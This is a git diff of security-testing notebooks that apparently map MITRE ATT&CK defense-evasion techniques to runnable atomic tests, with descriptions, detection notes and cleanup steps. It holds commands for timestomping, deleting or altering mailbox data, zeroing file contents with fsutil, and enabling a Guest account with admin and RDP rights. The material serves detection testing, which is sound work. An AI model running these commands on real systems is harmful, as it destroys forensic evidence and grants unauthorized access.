\"PathToAtomicsFolder\\..\\ExternalPayloads\\kxwn.lock\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\kxwn.lock\" -ItemType File\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a4adc624", + "id": "14d3f199", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7f53a490", + "id": "08636f80", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nimport-module $env:appdata\\Microsoft\\timestomp.ps1\ntimestomp -dest \"$env:appdata\\Microsoft\\kxwn.lock\"\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\timestomp.ps1\"\ntimestomp -dest \"PathToAtomicsFolder\\..\\ExternalPayloads\\kxwn.lock\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6bbbc17a", + "id": "c1d781e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.006 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "12fb2b51", + "id": "5a104ce9", + "metadata": {}, + "source": "### Atomic Test #9 - MacOS - Timestomp Date Modified\nStomps on the modification timestamp of a file using MacOS's SetFile utility\n\n**Supported Platforms:** macos\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist in order to be timestomped\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/T1070.006-modified.txt && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho 'T1070.006 MacOS file modified timestomp test' > /tmp/T1070.006-modified.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fbec6be9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 9 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "8b827c9d", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nSetFile -m 01/01/1970 /tmp/T1070.006-modified.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b1196cd8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "5f6e1d4e", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $env:appdata\\Microsoft\\timestomp.ps1 -ErrorAction Ignore\nRemove-Item $env:appdata\\Microsoft\\kxwn.lock -ErrorAction Ignore```" + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1070.006-modified.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2b1204c7", + "id": "99f9d936", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1070.006 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1070.006 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "ccc2c6ff", + "id": "515e973c", "metadata": {}, "source": "## Detection\nForensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values." } @@ -240,13 +361,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.007.ipynb b/playbook/tactics/defense-evasion/T1070.007.ipynb index c64f8719..c2e994e4 100644 --- a/playbook/tactics/defense-evasion/T1070.007.ipynb +++ b/playbook/tactics/defense-evasion/T1070.007.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "81344eee", + "id": "74dafb02", "metadata": {}, - "source": "# T1070.007 - Clear Network Connection History and Configurations\nAdversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations on a system. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis." + "source": "# T1070.007 - Clear Network Connection History and Configurations\nAdversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis." }, { "cell_type": "markdown", - "id": "949e39c4", + "id": "80e8d179", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.008.ipynb b/playbook/tactics/defense-evasion/T1070.008.ipynb index cf1a7913..907ed698 100644 --- a/playbook/tactics/defense-evasion/T1070.008.ipynb +++ b/playbook/tactics/defense-evasion/T1070.008.ipynb @@ -2,27 +2,237 @@ "cells": [ { "cell_type": "markdown", - "id": "1c70382e", + "id": "9f09ca10", "metadata": {}, - "source": "# T1070.008 - Clear Mailbox Data\nAdversaries may modify mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate email mailbox data to remove logs and artifacts, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)" + "source": "# T1070.008 - Clear Mailbox Data\nAdversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)" }, { "cell_type": "markdown", - "id": "5623139a", + "id": "7be93b1b", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "90fe10e4", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Copy and Delete Mailbox Data on Windows", + "Copies and deletes mail data on Windows\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6cae9c01", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "caeba9e9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9e6a50e4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3cc7f61c", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Copy and Delete Mailbox Data on Linux", + "Copies and deletes mail data on Linux\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nmkdir -p /var/spool/mail/copy\nfor file in /var/spool/mail/*; do\n if [ \"$(basename \"$file\")\" != \"copy\" ]\n then\n cp -R \"$file\" /var/spool/mail/copy/\n fi\ndone\nrm -rf /var/spool/mail/copy/*\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "415de81e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "87c3d7c5", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf /var/spool/mail/copy\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d32bdc53", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "43c69d57", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Copy and Delete Mailbox Data on macOS", + "Copies and deletes mail data on macOS\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\nrm -rf ~/Library/Mail/copy/*\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0948a14e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "2a941628", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf ~/Library/Mail/copy\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "897ad601", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a38cb020", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Copy and Modify Mailbox Data on Windows", + "Copies and modifies mail data on Windows\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \"Modification for Atomic Red Test\" -ErrorAction Ignore }\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f9376744", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "2c68aca3", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "44ae485b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6d013dd7", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Copy and Modify Mailbox Data on Linux", + "Copies and modifies mail data on Linux\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nmkdir -p /var/spool/mail/copy\nfor file in /var/spool/mail/*; do\n if [ \"$(basename \"$file\")\" != \"copy\" ]\n then\n cp -R \"$file\" /var/spool/mail/copy/\n if [ -f \"/var/spool/mail/copy/$(basename \"$file\")\" ]; then\n echo \"Modification for Atomic Red Test\" >> \"/var/spool/mail/copy/$(basename \"$file\")\"\n fi\n fi\ndone\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9fe4ba0c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "285e06d9", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf /var/spool/mail/copy\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f96868dd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1dec340c", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Copy and Modify Mailbox Data on macOS", + "Copies and modifies mail data on macOS\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f623879a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "c898f19a", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf ~/Library/Mail/copy\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cdd9d159", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.008 -TestNumbers 6 -Cleanup" } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.009.ipynb b/playbook/tactics/defense-evasion/T1070.009.ipynb index 3616f72c..65994140 100644 --- a/playbook/tactics/defense-evasion/T1070.009.ipynb +++ b/playbook/tactics/defense-evasion/T1070.009.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "7f06efc3", + "id": "5a18e572", "metadata": {}, - "source": "# T1070.009 - Clear Persistence\nAdversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)" + "source": "# T1070.009 - Clear Persistence\nAdversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)" }, { "cell_type": "markdown", - "id": "3e8c916a", + "id": "e179a171", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.ipynb b/playbook/tactics/defense-evasion/T1070.ipynb index 7fe7ef84..46dfeca5 100644 --- a/playbook/tactics/defense-evasion/T1070.ipynb +++ b/playbook/tactics/defense-evasion/T1070.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4cf305a9", + "id": "601ad49d", "metadata": {}, "source": "# T1070 - Indicator Removal\nAdversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred." }, { "cell_type": "markdown", - "id": "aa6a0d6d", + "id": "d16ce898", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c55509bc", + "id": "facee2aa", "metadata": {}, "source": [ "### Atomic Test #1 - Indicator Removal using FSUtil", @@ -28,34 +28,69 @@ { "cell_type": "code", "execution_count": null, - "id": "749689ca", + "id": "6f311302", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4c1c49b2", + "id": "9a8f03be", "metadata": {}, "source": "#### Cleanup: \n```cmd\nfsutil usn createjournal m=1000 a=100 c:\n```" }, { "cell_type": "code", "execution_count": null, - "id": "69eaa555", + "id": "338e33db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8d6ccfbc", + "id": "73bcbf10", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Indicator Manipulation using FSUtil", + "Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output\nwill be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file\n- https://tria.ge/230601-x8x6bsgb24/behavioral2\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif (-not (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1070-2.txt\")) { New-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1070-2.txt\" -Force } \necho \"1234567890\" > \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1070-2.txt\"\nfsutil file setZeroData offset=0 length=10 \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1070-2.txt\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e99f03b7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "0633ced3", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nrm \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1070-2.txt\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bd715492", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6273030a", "metadata": {}, "source": "## Detection\nFile system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms." }, { "cell_type": "markdown", - "id": "c4b83938", + "id": "abe67fd7", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to allow or restrict admin access to support your defensive objectives.\n#### Use Case\nA defender can restrict admin access to force an adversary to escalate privileges in order to delete logs and captured artifacts from a system.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -63,13 +98,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1073.ipynb b/playbook/tactics/defense-evasion/T1073.ipynb deleted file mode 100644 index 213b4ba7..00000000 --- a/playbook/tactics/defense-evasion/T1073.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "b8bdc6f0", - "metadata": {}, - "source": "# T1073 - DLL Side-Loading\nPrograms may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process." - }, - { - "cell_type": "markdown", - "id": "e0bdcc87", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f9467d46", - "metadata": {}, - "source": "## Detection\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1078.001.ipynb b/playbook/tactics/defense-evasion/T1078.001.ipynb index b28a0872..6f00d1cf 100644 --- a/playbook/tactics/defense-evasion/T1078.001.ipynb +++ b/playbook/tactics/defense-evasion/T1078.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "72a4597e", + "id": "d1cab241", "metadata": {}, "source": "# T1078.001 - Default Accounts\nAdversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)" }, { "cell_type": "markdown", - "id": "fd157402", + "id": "e0c7b926", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e46c299f", + "id": "2434251d", "metadata": {}, "source": [ "### Atomic Test #1 - Enable Guest account with RDP capability and admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ff64c19d", + "id": "7eb7fd86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bc723faf", + "id": "72fce375", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no >nul 2>&1\nnet localgroup Administrators guest /delete >nul 2>&1\nnet localgroup \"Remote Desktop Users\" guest /delete >nul 2>&1\nif 0 NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)```" }, { "cell_type": "code", "execution_count": null, - "id": "24e5f5ad", + "id": "6f0e1c33", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "37a02038", + "id": "604a75d3", "metadata": {}, "source": [ "### Atomic Test #2 - Activate Guest Account", @@ -63,28 +63,63 @@ { "cell_type": "code", "execution_count": null, - "id": "591d1e5c", + "id": "58c95da2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "607a9a3e", + "id": "c359faa8", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no\n```" }, { "cell_type": "code", "execution_count": null, - "id": "26efcc60", + "id": "105bbba9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "da761e49", + "id": "b461b475", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Enable Guest Account on macOS", + "This test enables the guest account on macOS using sysadminctl utility.", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsudo sysadminctl -guestAccount on```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1bdaa613", + "metadata": {}, + 